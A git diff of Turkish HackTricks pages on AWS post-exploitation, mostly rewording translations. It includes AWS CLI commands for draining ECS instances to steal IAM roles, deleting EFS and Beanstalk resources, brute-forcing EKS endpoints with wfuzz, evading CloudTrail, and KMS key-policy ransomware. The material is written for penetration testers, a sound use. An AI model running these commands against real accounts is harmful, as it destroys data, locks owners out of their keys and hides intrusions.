Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz.

View File

@@ -2,14 +2,14 @@
{{#include ../../../../banners/hacktricks-training.md}}
**Saldırı hakkında daha fazla bilgi için** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **kontrol edin!**
**Daha fazla bilgi için** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **kontrol edin!**
Bulut ortamında pasif ağ denetimi **zorlayıcı** olmuştur ve ağ trafiğini izlemek için büyük yapılandırma değişiklikleri gerektirmektedir. Ancak, bu süreci basitleştirmek için AWS tarafından “**VPC Trafik Aynası**” adı verilen yeni bir özellik tanıtılmıştır. VPC Trafik Aynası ile, VPC'ler içindeki ağ trafiği, örneklere herhangi bir yazılım yüklemeden **kopyalanabilir**. Bu kopyalanan trafik, **analiz** için bir ağ saldırı tespit sistemi (IDS) gönderilebilir.
Bulut ortamında pasif ağ denetimi **zorlayıcı** olmuştur ve ağ trafiğini izlemek için büyük yapılandırma değişiklikleri gerektirmiştir. Ancak, bu süreci basitleştirmek için AWS tarafından “**VPC Trafik Aynası**” adlı yeni bir özellik tanıtılmıştır. VPC Trafik Aynası ile, VPC'ler içindeki ağ trafiği, örneklerin kendisine herhangi bir yazılım yüklemeden **kopyalanabilir**. Bu kopyalanan trafik, bir ağ saldırı tespit sistemi (IDS) için **analiz** amacıyla gönderilebilir.
VPC trafiğini aynalamak ve dışa aktarmak için gerekli altyapının **otomatik dağıtım** ihtiyacını karşılamak amacıyla “**malmirror**” adlı bir kanıt-of-kavram betiği geliştirdik. Bu betik, hedef bir VPC'deki tüm desteklenen EC2 örnekleri için aynalama kurmak üzere **ele geçirilmiş AWS kimlik bilgileri** ile kullanılabilir. VPC Trafik Aynası'nın yalnızca AWS Nitro sistemiyle desteklenen EC2 örnekleri tarafından desteklendiğini ve VPC aynası hedefinin, aynalanan ana bilgisayarlarla aynı VPC içinde olması gerektiğini belirtmek önemlidir.
VPC trafiğini ayna yapma ve dışa aktarma için gerekli altyapının **otomatik dağıtım** ihtiyacını karşılamak amacıyla, “**malmirror**” adlı bir kanıt-of-concept betiği geliştirdik. Bu betik, hedef bir VPC'deki tüm desteklenen EC2 örnekleri için ayna kurmak üzere **ele geçirilmiş AWS kimlik bilgileri** ile kullanılabilir. VPC Trafik Aynası'nın yalnızca AWS Nitro sistemi tarafından desteklenen EC2 örnekleriyle desteklendiğini ve VPC aynası hedefinin, aynalanan ana bilgisayarlarla aynı VPC içinde olması gerektiğini belirtmek önemlidir.
Kötü amaçlı VPC trafik aynalamanın **etkisi** önemli olabilir, çünkü bu, saldırganların VPC'ler içinde iletilen **hassas bilgilere** erişmesine olanak tanır. Böyle bir kötü amaçlı aynalamanın **olasılığı** yüksektir, çünkü VPC'ler üzerinden akan **düz metin trafiği** mevcuttur. Birçok şirket, geleneksel adam-arasında saldırıların mümkün olmadığını varsayarak, **performans nedenleri** için iç ağlarında düz metin protokolleri kullanmaktadır.
Kötü amaçlı VPC trafik aynalamasının **etkisi** önemli olabilir, çünkü bu, saldırganların VPC'ler içinde iletilen **hassas bilgilere** erişmesine olanak tanır. Böyle bir kötü amaçlı aynalama olasılığı, VPC'ler üzerinden akan **düz metin trafiği** göz önüne alındığında yüksektir. Birçok şirket, geleneksel adam-arasında saldırıların mümkün olmadığını varsayarak, iç ağlarında **performans nedenleri** için düz metin protokolleri kullanmaktadır.
Daha fazla bilgi ve [**malmirror betiğine**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) erişim için, **GitHub deposunda** bulunabilir. Betik, süreci otomatikleştirir ve basitleştirir, bu da onu saldırgan araştırma amaçları için **hızlı, basit ve tekrarlanabilir** hale getirir.
Daha fazla bilgi ve [**malmirror betiğine**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) erişim için, **GitHub deposunda** bulunabilir. Betik, süreci otomatikleştirir ve basitleştirir, böylece saldırgan araştırma amaçları için **hızlı, basit ve tekrarlanabilir** hale getirir.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -10,7 +10,7 @@ Daha fazla bilgi için kontrol edin:
../aws-services/aws-ecs-enum.md
{{#endref}}
### Host IAM Rolleri
### Host IAM Roles
ECS'de bir **IAM rolü, konteyner içinde çalışan göreve atanabilir.** **Eğer** görev bir **EC2** örneği içinde çalışıyorsa, **EC2 örneği** üzerinde **başka bir IAM** rolü olacaktır.\
Bu, bir ECS örneğini **ele geçirirseniz**, **ECR ve EC2 örneği ile ilişkili IAM rolünü elde etme** potansiyeline sahip olacağınız anlamına gelir. Bu kimlik bilgilerini nasıl alacağınız hakkında daha fazla bilgi için kontrol edin:
@@ -22,13 +22,13 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
> [!CAUTION]
> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 meta verilerine erişimi imkansız hale getirir.
### Diğer konteynerlerin kimlik bilgilerini ve sırlarını çalmak için node'a yükselme
### Privesc to node to steal other containers creds & secrets
Ayrıca, EC2, EC'lerin görevlerini çalıştırmak için docker kullanır, bu nedenle node'a kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz.**
Ayrıca, EC2, EC görevlerini çalıştırmak için docker kullanır, bu nedenle düğüme kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz.**
#### Konteynerleri mevcut hostta çalıştırma
#### Making containers run in current host
Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncellemek için yeterli izinlere** sahip olacaktır. Bir saldırgan, bir örneğin durumunu **DRAINING** olarak değiştirebilir, ardından ECS **ondan tüm görevleri kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılacaktır, bu da potansiyel olarak **saldırganın örneği** içinde olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir.
Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncellemek için yeterli izinlere** sahip olacaktır. Bir saldırgan, bir örneğin durumunu **DRAINING** olarak değiştirebilir, ardından ECS **tüm görevleri ondan kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılır, bu da potansiyel olarak **saldırganın örneği** içinde olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
@@ -38,7 +38,7 @@ Aynı teknik **EC2 örneğini kümeden kaydını silerek** yapılabilir. Bu pota
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır:
Görevlerin yeniden yürütülmesini zorlamak için son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \

View File

@@ -16,7 +16,7 @@ Bir saldırgan, bir montaj hedefini silebilir, bu da o montaj hedefine bağıml
```sql
aws efs delete-mount-target --mount-target-id <value>
```
**Potansiyel Etki**: Dosya sistemi erişiminin kesintiye uğraması ve kullanıcılar veya uygulamalar için potansiyel veri kaybı.
**Olası Etki**: Dosya sistemi erişiminin kesilmesi ve kullanıcılar veya uygulamalar için potansiyel veri kaybı.
### `elasticfilesystem:DeleteFileSystem`
@@ -24,7 +24,7 @@ Bir saldırgan, tüm EFS dosya sistemini silebilir, bu da veri kaybına yol aça
```perl
aws efs delete-file-system --file-system-id <value>
```
**Potansiyel Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi.
**Olası Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi.
### `elasticfilesystem:UpdateFileSystem`
@@ -32,11 +32,11 @@ Bir saldırgan, EFS dosya sistemi özelliklerini, örneğin, verimlilik modunu g
```sql
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
```
**Potansiyel Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi.
**Olası Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi.
### `elasticfilesystem:CreateAccessPoint` ve `elasticfilesystem:DeleteAccessPoint`
Bir saldırgan, erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir.
Bir saldırgan erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir.
```arduino
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
aws efs delete-access-point --access-point-id <value>

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin
### AWS Konsolundan küme listeleme
**`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini görüntüleyebilirsiniz** ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini** görüntüleyebilirsiniz ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### AWS Kubernetes Kümesine Bağlanma
@@ -21,9 +21,9 @@ Daha fazla bilgi için kontrol edin
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- Kolay bir yol değil:
- O kadar kolay bir yol değil:
Eğer **`aws eks get-token --name <cluster_name>`** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e** ihtiyacınız var (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adını** bilmeniz gerekiyor.
Eğer **`aws eks get-token --name <cluster_name>`** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e ihtiyacınız var** (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adına** ihtiyacınız var.
Benim durumumda, CloudWatch loglarında bilgiyi bulamadım, ama **LaunchTemplates userData'da** ve **EC2 makinelerinde userData'da** buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin bir sonraki örnekte (cluster adı cluster-name idi):
```bash
@@ -33,7 +33,7 @@ API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazon
```
<details>
<summary>kube yapılandırması</summary>
<summary>kube config</summary>
```yaml
describe-cache-parametersapiVersion: v1
clusters:
@@ -72,33 +72,33 @@ provideClusterInfo: false
### AWS'den Kubernetes'e
**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **kümenin kim tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **bir yolu** yoktur.
**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **küme kimin tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **yolu yoktur**.
**AWS IAM kullanıcıları veya rolleri için K8s'e erişim vermenin** yolu **`aws-auth`** **configmap'ini** kullanmaktır.
> [!WARNING]
> Bu nedenle, **`aws-auth`** config map üzerinde **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**.
> Bu nedenle, **`aws-auth`** config map'ine **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**.
**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**privesc bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
Ayrıca [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **yazıyı kontrol edin, IAM -> Kubernetes kimlik doğrulamasının nasıl çalıştığını öğrenin**.
### Kubernetes'ten AWS'ye
Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasını** sağlayarak AWS'de rolleri üstlenmelerine izin vermek mümkündür. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasına** izin vermek, onların AWS'de roller üstlenmelerine olanak tanır. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### JWT Token'dan Api Sunucu Uç Noktasını Almak
### JWT Token'dan GET Api Sunucu Uç Noktası Alma
JWT token'ı çözümleyerek küme kimliğini ve ayrıca bölgeyi alırız. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url'sinin standart formatının olduğunu bilmekteyiz.
JWT token'ını çözümleyerek küme kimliğini ve ayrıca bölgeyi alıyoruz. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URL'sinin standart formatının olduğunu bilmek
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
Dokümantasyonda 'iki karakter' ve 'sayı' için kriterleri açıklayan bir şey bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum:
Herhangi bir 'iki karakter' ve 'sayı' kriterini açıklayan bir belge bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum:
- gr7
- yl4
Her halükarda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın.
Her durumda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın.
```python
from itertools import product
from string import ascii_lowercase
@@ -119,19 +119,19 @@ Sonra wfuzz ile
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
```
> [!WARNING]
> & ve 'yi değiştirmeyi unutmayın.
> Unutmayın, & ile değiştirin.
### CloudTrail'ı Atlatma
Eğer bir saldırganın **EKS üzerinde izinleri olan bir AWS** kimlik bilgileri elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur).
Eğer bir saldırganın **EKS üzerinde yetkisi olan bir AWS** kimlik bilgilerini elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur).
Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**.
Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail, çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**.
**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak devre dışıdır).
**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak, devre dışıdır).
### EKS Fidye?
Varsayılan olarak, bir küme oluşturan **kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir.
Varsayılan olarak, **bir küme oluşturan kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir.
Yani, eğer bir **saldırgan fargate kullanarak bir kümeyi ele geçirirse** ve **diğer tüm yöneticileri kaldırırsa** ve **küme oluşturan AWS kullanıcı/rolünü silerse**, ~~saldırgan **küme için fidye talep edebilir**~~**.

View File

@@ -19,23 +19,23 @@ Daha fazla bilgi için:
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
**Potansiyel Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı.
**Olası Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı.
### `elasticbeanstalk:TerminateEnvironment`
> [!NOTE]
> TODO: Daha fazla izin gerekip gerekmediğini test et
> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
`elasticbeanstalk:TerminateEnvironment` iznine sahip bir saldırgan, **mevcut bir Elastic Beanstalk ortamını sonlandırabilir**, bu da uygulama için kesintiye ve ortam yedeklemeleri yapılandırılmamışsa potansiyel veri kaybına neden olabilir.
```bash
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```
**Potansiyel Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması.
**Olası Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması.
### `elasticbeanstalk:DeleteApplication`
> [!NOTE]
> TODO: Daha fazla izin gerekip gerekmediğini test et
> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
`elasticbeanstalk:DeleteApplication` iznine sahip bir saldırgan, **tüm Elastic Beanstalk uygulamasını**, tüm sürümleri ve ortamlarıyla birlikte **silme** yetkisine sahiptir. Bu eylem, yedeklenmemişse uygulama kaynakları ve yapılandırmalarında önemli bir kayba neden olabilir.
```bash
@@ -52,12 +52,12 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
**Potansiyel Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak.
**Olası Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak.
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
> [!NOTE]
> TODO: Bunun için daha fazla izne ihtiyaç olup olmadığını test et
> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
`elasticbeanstalk:AddTags` ve `elasticbeanstalk:RemoveTags` izinlerine sahip bir saldırgan, **Elastic Beanstalk kaynaklarına etiket ekleyebilir veya kaldırabilir**. Bu eylem, yanlış kaynak tahsisine, faturalandırmaya veya kaynak yönetimine yol açabilir.
```bash

View File

@@ -12,13 +12,13 @@ IAM erişimi hakkında daha fazla bilgi için:
## Confused Deputy Problem
Eğer **bir dış hesabın (A)** sizin hesabınızdaki bir **role** erişmesine **izin verirseniz**, muhtemelen **o dış hesabın** **kimler tarafından tam olarak erişilebileceği** konusunda **0 görünürlüğe** sahip olacaksınız. Bu bir problemdir, çünkü başka bir dış hesap (B) dış hesap (A)'ya erişebiliyorsa, **B'nin de sizin hesabınıza erişebilmesi mümkündür**.
Eğer **bir dış hesabın (A)** hesabınızdaki bir **role** erişmesine izin verirseniz, muhtemelen **o dış hesabın** **kimler tarafından tam olarak erişilebileceği** konusunda **0 görünürlüğe** sahip olacaksınız. Bu bir sorun, çünkü başka bir dış hesap (B) dış hesap (A)'ya erişebiliyorsa, **B'nin hesabınıza da erişebilme ihtimali vardır**.
Bu nedenle, bir dış hesabın hesabınızdaki bir role erişmesine izin verirken, bir `ExternalId` belirtmek mümkündür. Bu, dış hesabın (A) **rolü üstlenebilmesi için** **belirtmesi gereken** bir "gizli" dizedir. **Dış hesap B bu dizeyi bilmeyeceği için**, A'ya erişimi olsa bile, **rolünüze erişemeyecektir**.
Bu nedenle, bir dış hesabın hesabınızdaki bir role erişmesine izin verirken bir `ExternalId` belirtmek mümkündür. Bu, dış hesabın (A) **rolü üstlenebilmesi için** **belirtmesi gereken** bir "gizli" dizedir. **Dış hesap B bu dizeyi bilmeyeceği için**, A üzerinde erişimi olsa bile **rolünüze erişemeyecektir**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
Ancak, bu `ExternalId` "gizli" dizesinin **gerçek bir gizli bilgi olmadığını** unutmayın, IAM rol üstlenme politikasını **okuyabilen herkes bunu görebilir**. Ama dış hesap A bunu biliyorsa, ancak dış hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak rolünüze erişmesini engeller**.
Ancak, bu `ExternalId` "gizli" dizesinin **gerçekten bir gizli bilgi olmadığını** unutmayın, IAM rol üstlenme politikasını **okuyabilen herkes bunu görebilir**. Ama dış hesap A bunu biliyorsa, ancak dış hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak rolünüze erişmesini engeller**.
Örnek:
```json
@@ -39,11 +39,11 @@ Ancak, bu `ExternalId` "gizli" dizesinin **gerçek bir gizli bilgi olmadığın
}
```
> [!WARNING]
> Bir saldırganın karışık bir delegeyi istismar etmesi için, mevcut hesabın ilkelerinin diğer hesaplarda rollerin taklit edilip edilemeyeceğini bir şekilde bulması gerekecektir.
> Bir saldırganın karışık bir vekili istismar etmesi için, mevcut hesabın ilkelerinin diğer hesaplarda rollerin taklit edilip edilemeyeceğini bir şekilde bulması gerekecektir.
### Beklenmedik Güvenler
#### Wildcard olarak ilke
#### Vahşi karakter olarak ilke
```json
{
"Action": "sts:AssumeRole",
@@ -73,7 +73,7 @@ Bu politika **herhangi bir hesabın** bu Lambda'yı çağırmak için apigateway
}
}
```
Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer **bucket'ınızı silerseniz ve saldırgan kendi hesabında oluşturursa**, bunu kötüye kullanabilirler.
Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer **bucket'ınızı silerseniz ve saldırgan kendi hesabında** bunu oluşturursa, bunu kötüye kullanabilirler.
#### Desteklenmiyor
```json
@@ -86,7 +86,7 @@ Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bi
```
Confused Deputy problemlerinden kaçınmanın yaygın bir yolu, köken ARN'sini kontrol etmek için `AWS:SourceArn` ile bir koşul kullanmaktır. Ancak, **bazı hizmetler bunu desteklemeyebilir** (bazı kaynaklara göre CloudTrail gibi).
## References
## Referanslar
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

View File

@@ -1,4 +1,4 @@
# AWS - KMS Sonrası Sömürü
# AWS - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -15,12 +15,12 @@ Daha fazla bilgi için kontrol edin:
`fileb://` ve `file://` AWS CLI komutlarında yerel dosyaların yolunu belirtmek için kullanılan URI şemalarıdır:
- `fileb://:` Dosyayı ikili modda okur, genellikle metin dışı dosyalar için kullanılır.
- `file://:` Dosyayı metin modunda okur, tipik olarak düz metin dosyaları, betikler veya özel kodlama gereksinimleri olmayan JSON için kullanılır.
- `file://:` Dosyayı metin modunda okur, genellikle düz metin dosyaları, betikler veya özel kodlama gereksinimi olmayan JSON için kullanılır.
> [!TIP]
> Bir dosya içindeki verileri şifre çözmek istiyorsanız, dosyanın ikili verileri içermesi gerektiğini unutmayın, base64 kodlu veriler değil. (fileb://)
> Bir dosya içindeki verileri şifre çözmek istiyorsanız, dosyanın ikili verileri içermesi gerektiğini unutmayın, base64 kodlu verileri değil. (fileb://)
- **Simetrik** anahtar kullanarak
- **simetrik** bir anahtar kullanarak
```bash
# Encrypt data
aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
- **Asimetrik** bir anahtar kullanma:
- **Asimetrik** bir anahtar kullanarak:
```bash
# Encrypt data
aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS Ransomware
KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **kendi hesabına erişim verebilir**, meşru hesaba verilen erişimi kaldırarak.
Yetkili erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **kendi hesabına erişim verebilir**, meşru hesaba verilen erişimi kaldırarak.
Böylece, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir hizmetin bilgilerine erişemeyecek, bu da hesap üzerinde kolay ama etkili bir ransomware oluşturacaktır.
Böylece, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir hizmetin bilgilerine erişemeyecek, bu da hesap üzerinde kolay ama etkili bir fidye yazılımı oluşturacaktır.
> [!WARNING]
> **AWS yönetilen anahtarların** bu saldırıdan etkilenmediğini unutmayın, sadece **Müşteri yönetilen anahtarlar** etkilenmektedir.
> **AWS yönetilen anahtarların** bu saldırıdan etkilenmediğini unutmayın, yalnızca **Müşteri yönetilen anahtarlar** etkilenmektedir.
> Ayrıca, **`--bypass-policy-lockout-safety-check`** parametresinin kullanılma gereğini unutmayın (web konsolundaki bu seçeneğin eksikliği, bu saldırının yalnızca CLI üzerinden mümkün olmasını sağlar).
> Ayrıca, **`--bypass-policy-lockout-safety-check`** parametresinin kullanılma gereğini unutmayın (bu seçeneğin web konsolunda olmaması, bu saldırının yalnızca CLI üzerinden mümkün olmasını sağlar).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> Dikkat edin ki, bu politikayı değiştirir ve yalnızca bir dış hesaba erişim verirseniz, ardından bu dış hesaptan **erişimi orijinal hesaba geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız**.
> Bu politikayı değiştirirseniz ve yalnızca bir dış hesaba erişim verirseniz, ardından bu dış hesaptan **erişimi orijinal hesaba geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
@@ -103,9 +103,9 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
Küresel KMS Fidye Yazılımı gerçekleştirmek için başka bir yol vardır, bu aşağıdaki adımları içerecektir:
- Saldırgan tarafından içe aktarılan **anahtar materyali ile yeni bir anahtar oluşturun**
- **Eski verileri** yeni anahtar ile yeniden şifreleyin.
- Önceki sürümle şifrelenmiş **eski verileri yeni anahtar ile yeniden şifreleyin**.
- **KMS anahtarını silin**
- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir.
- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir
### Anahtarları Yok Et
```bash

View File

@@ -6,34 +6,34 @@
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
1. **Slicer**, **init** sürecine **çağrılar** gönderen konteyner dışındaki bir süreçtir.
2. Init süreci, bazı ilginç uç noktalarıığa çıkaran **9001** numaralı portta dinler:
- **`/2018-06-01/runtime/invocation/next`** bir sonraki çağrı olayını al
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** çağrı için işleyici yanıtını döndür
1. **Slicer**, **invocation**'ları **init** sürecine **gönderen** konteyner dışındaki bir süreçtir.
